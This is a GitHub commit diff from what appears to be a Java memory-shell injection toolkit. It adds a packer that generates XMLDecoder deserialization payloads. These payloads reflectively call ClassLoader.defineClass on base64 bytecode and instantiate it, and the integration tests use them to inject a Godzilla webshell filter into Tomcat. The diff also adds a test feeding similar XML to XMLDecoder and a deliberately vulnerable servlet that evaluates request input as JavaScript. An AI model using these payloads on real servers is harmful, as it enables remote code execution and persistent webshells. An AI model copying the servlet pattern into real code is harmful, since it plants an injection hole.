Skip to content

Commit a8979e4

Browse files
committed
feat: support XMLDecoderDefineClass packer
1 parent d6466d1 commit a8979e4

File tree

13 files changed

+207
-29
lines changed

13 files changed

+207
-29
lines changed

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -346,7 +346,7 @@ public static void assertInjectIsOk(String url, String shellType, ShellTool shel
346346
case JavaCommonsCollections4 -> VulTool.postData(url + "/java_deserialize/cc40", content);
347347
case HessianDeserialize -> VulTool.postData(url + "/hessian", content);
348348
case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
349-
case XMLDecoder -> VulTool.postData(url + "/xmlDecoder", content);
349+
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postData(url + "/xmlDecoder", content);
350350
case Base64 -> VulTool.postData(url + "/b64", content);
351351
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
352352
case H2, H2JS, H2Javac -> VulTool.postData(url + "/jdbc", content);

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,8 @@ static Stream<Arguments> casesProvider() {
5151
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsCollections4),
5252
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
5353
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize),
54-
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoder)
54+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine),
55+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass)
5556
);
5657
}
5758

packer/src/main/java/com/reajason/javaweb/packer/Packers.java

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -41,7 +41,9 @@
4141
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker;
4242
import com.reajason.javaweb.packer.spel.SpELSpringUtilsPacker;
4343
import com.reajason.javaweb.packer.velocity.VelocityPacker;
44+
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
4445
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
46+
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
4547
import lombok.Getter;
4648

4749
import java.util.List;
@@ -112,6 +114,8 @@ public enum Packers {
112114
Velocity(new VelocityPacker()),
113115
JinJava(new JinJavaPacker()),
114116
XMLDecoder(new XMLDecoderPacker()),
117+
XMLDecoderScriptEngine(new XMLDecoderScriptEnginePacker(), XMLDecoderPacker.class),
118+
XMLDecoderDefineClass(new XMLDecoderDefineClassPacker(), XMLDecoderPacker.class),
115119

116120
/**
117121
* Java 反序列化打包器
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
package com.reajason.javaweb.packer.xmldecoder;
2+
3+
import com.reajason.javaweb.packer.ClassPackerConfig;
4+
import com.reajason.javaweb.packer.Packer;
5+
6+
/**
7+
* @author ReaJason
8+
* @since 2025/7/22
9+
*/
10+
public class XMLDecoderDefineClassPacker implements Packer {
11+
String template = "<java>\n" +
12+
" <object class=\"javax.xml.bind.DatatypeConverter\" method=\"parseBase64Binary\" id=\"code\">\n" +
13+
" <string>{{base64Str}}></string>\n" +
14+
" </object>\n" +
15+
" <class id=\"clazz\">java.lang.ClassLoader</class>\n" +
16+
" <void idref=\"clazz\">\n" +
17+
" <void method=\"getDeclaredMethod\" id=\"defineClass\">\n" +
18+
" <string>defineClass</string>\n" +
19+
" <array class=\"java.lang.Class\" length=\"3\">\n" +
20+
" <void index=\"0\"><class>[B</class></void>\n" +
21+
" <void index=\"1\"><class>int</class></void>\n" +
22+
" <void index=\"2\"><class>int</class></void>\n" +
23+
" </array>\n" +
24+
" <void method=\"setAccessible\"><boolean>true</boolean></void>\n" +
25+
" </void>\n" +
26+
" </void>\n" +
27+
" <object method=\"invoke\" class=\"sun.reflect.misc.MethodUtil\">\n" +
28+
" <object idref=\"defineClass\"/>\n" +
29+
" <object class=\"java.lang.ClassLoader\" method=\"getSystemClassLoader\"/>\n" +
30+
" <array class=\"java.lang.Object\" length=\"3\">\n" +
31+
" <void index=\"0\"><object idref=\"code\"/></void>\n" +
32+
" <void index=\"1\"><int>0</int></void>\n" +
33+
" <void index=\"2\"><int>{{byteCodeLength}}</int></void>\n" +
34+
" </array>\n" +
35+
" <void method=\"newInstance\"/>\n" +
36+
" </object>\n" +
37+
"</java>";
38+
39+
@Override
40+
public String pack(ClassPackerConfig config) {
41+
return template
42+
.replace("{{base64Str}}", config.getClassBytesBase64Str())
43+
.replace("{{byteCodeLength}}", String.valueOf(config.getClassBytes().length));
44+
}
45+
}
Lines changed: 2 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -1,28 +1,11 @@
11
package com.reajason.javaweb.packer.xmldecoder;
22

3-
import com.reajason.javaweb.packer.ClassPackerConfig;
4-
import com.reajason.javaweb.packer.Packer;
5-
import com.reajason.javaweb.packer.Packers;
3+
import com.reajason.javaweb.packer.AggregatePacker;
64

75
/**
86
* @author ReaJason
97
* @since 2025/7/22
108
*/
11-
public class XMLDecoderPacker implements Packer {
12-
String template = "<java>\n" +
13-
" <object class=\"javax.script.ScriptEngineManager\">\n" +
14-
" <void method=\"getEngineByName\">\n" +
15-
" <string>js</string>\n" +
16-
" <void method=\"eval\">\n" +
17-
" <string>{{script}}</string>\n" +
18-
" </void>\n" +
19-
" </void>\n" +
20-
" </object>\n" +
21-
"</java>";
9+
public class XMLDecoderPacker implements AggregatePacker {
2210

23-
@Override
24-
public String pack(ClassPackerConfig config) {
25-
String script = Packers.ScriptEngine.getInstance().pack(config);
26-
return template.replace("{{script}}", script);
27-
}
2811
}
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
package com.reajason.javaweb.packer.xmldecoder;
2+
3+
import com.reajason.javaweb.packer.ClassPackerConfig;
4+
import com.reajason.javaweb.packer.Packer;
5+
import com.reajason.javaweb.packer.Packers;
6+
7+
/**
8+
* @author ReaJason
9+
* @since 2025/7/22
10+
*/
11+
public class XMLDecoderScriptEnginePacker implements Packer {
12+
String template = "<java>\n" +
13+
" <object class=\"javax.script.ScriptEngineManager\">\n" +
14+
" <void method=\"getEngineByName\">\n" +
15+
" <string>js</string>\n" +
16+
" <void method=\"eval\">\n" +
17+
" <string>{{script}}</string>\n" +
18+
" </void>\n" +
19+
" </void>\n" +
20+
" </object>\n" +
21+
"</java>";
22+
23+
@Override
24+
public String pack(ClassPackerConfig config) {
25+
String script = Packers.ScriptEngine.getInstance().pack(config);
26+
return template.replace("{{script}}", script);
27+
}
28+
}

vul/vul-webapp-deserialize/src/test/java/XmlDecoderServletTest.java

Lines changed: 18 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@
22

33
import java.beans.XMLDecoder;
44
import java.io.ByteArrayInputStream;
5-
import java.util.Base64;
65

76
/**
87
* @author ReaJason
@@ -32,8 +31,25 @@ void test() {
3231
" </void>\n" +
3332
" </object>\n" +
3433
"</java>";
34+
String xml2 = "<java>\n" +
35+
" <object class=\"javax.xml.bind.DatatypeConverter\" method=\"parseBase64Binary\" id=\"byteCode\">\n" +
36+
" <string>aGVsbG8K></string>\n" +
37+
" </object>\n" +
38+
" <class id=\"classLoaderClazz\">java.lang.ClassLoader</class>\n" +
39+
" <void idref=\"classLoaderClazz\">\n" +
40+
" <void method=\"getDeclaredMethod\" id=\"defineClass\">\n" +
41+
" <string>defineClass</string>\n" +
42+
" <array class=\"java.lang.Class\" length=\"3\">\n" +
43+
" <void index=\"0\"><class>[B</class></void>\n" +
44+
" <void index=\"1\"><class>int</class></void>\n" +
45+
" <void index=\"2\"><class>int</class></void>\n" +
46+
" </array>\n" +
47+
" <void method=\"setAccessible\"><boolean>true</boolean></void>\n" +
48+
" </void>\n" +
49+
" </void>\n" +
50+
"</java>";
3551
try {
36-
ByteArrayInputStream inputStream = new ByteArrayInputStream(xml1.getBytes());
52+
ByteArrayInputStream inputStream = new ByteArrayInputStream(xml2.getBytes());
3753
XMLDecoder xmlDecoder = new XMLDecoder(inputStream);
3854
xmlDecoder.readObject();
3955
xmlDecoder.close();

vul/vul-webapp-expression/build.gradle.kts

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -30,10 +30,11 @@ dependencies {
3030
implementation("org.springframework:spring-expression:4.3.0.RELEASE")
3131
providedCompile("de.odysseus.juel:juel-api:2.2.7")
3232
providedCompile("javax.servlet:javax.servlet-api:3.1.0")
33-
testImplementation(platform("org.junit:junit-bom:5.11.4"))
34-
testImplementation("org.junit.jupiter:junit-jupiter")
33+
testImplementation(libs.junit.jupiter)
34+
testRuntimeOnly(libs.junit.platform.launcher)
3535
}
3636

3737
tasks.test {
3838
useJUnitPlatform()
3939
}
40+

vul/vul-webapp-jakarta/build.gradle.kts

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -4,14 +4,20 @@ plugins {
44

55
java {
66
toolchain {
7-
languageVersion = JavaLanguageVersion.of(8)
7+
languageVersion = JavaLanguageVersion.of(11)
88
}
9-
sourceCompatibility = JavaVersion.VERSION_1_8
10-
targetCompatibility = JavaVersion.VERSION_1_8
9+
sourceCompatibility = JavaVersion.VERSION_11
10+
targetCompatibility = JavaVersion.VERSION_11
1111
}
1212

1313
dependencies {
1414
implementation("commons-fileupload:commons-fileupload:1.5")
1515
implementation("commons-beanutils:commons-beanutils:1.9.3")
1616
providedCompile("jakarta.servlet:jakarta.servlet-api:5.0.0")
17-
}
17+
testImplementation(libs.junit.jupiter)
18+
testRuntimeOnly(libs.junit.platform.launcher)
19+
}
20+
21+
tasks.test {
22+
useJUnitPlatform()
23+
}
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
package jakarta;
2+
3+
import jakarta.servlet.ServletException;
4+
import jakarta.servlet.http.HttpServlet;
5+
import jakarta.servlet.http.HttpServletRequest;
6+
import jakarta.servlet.http.HttpServletResponse;
7+
8+
import javax.script.ScriptEngineManager;
9+
import javax.script.ScriptException;
10+
import java.io.IOException;
11+
12+
/**
13+
* @author ReaJason
14+
* @since 2024/12/3
15+
*/
16+
public class ScriptEngineServlet extends HttpServlet {
17+
@Override
18+
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
19+
String data = req.getParameter("data");
20+
try {
21+
Object eval = new ScriptEngineManager().getEngineByName("js").eval(data);
22+
resp.getWriter().println(eval.toString());
23+
} catch (ScriptException e) {
24+
throw new RuntimeException(e);
25+
}
26+
}
27+
}

0 commit comments

Comments
 (0)